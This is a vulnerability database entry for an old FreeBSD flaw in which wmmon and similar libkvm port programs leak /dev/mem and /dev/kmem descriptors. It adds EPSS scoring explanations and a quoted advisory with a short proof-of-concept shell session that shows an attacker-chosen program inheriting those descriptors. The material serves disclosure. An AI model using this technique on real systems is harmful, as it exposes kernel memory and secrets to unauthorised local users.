CVE Descriptions

FreeBSD port programs that use libkvm for FreeBSD 4.6.2-RELEASE and earlier, including (1) asmon, (2) ascpu, (3) bubblemon, (4) wmmon, and (5) wmnet2, leave open file descriptors for /dev/mem and /dev/kmem, which allows local users to read kernel memory.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/5718/info It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line. bash-2.05a$ cat .wmmonrc left "/home/dim/dummy" bash-2.05a$ wmmon & [1] 793 bash-2.05a$ Monitoring 5 devices for activity. current stat is :1 bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
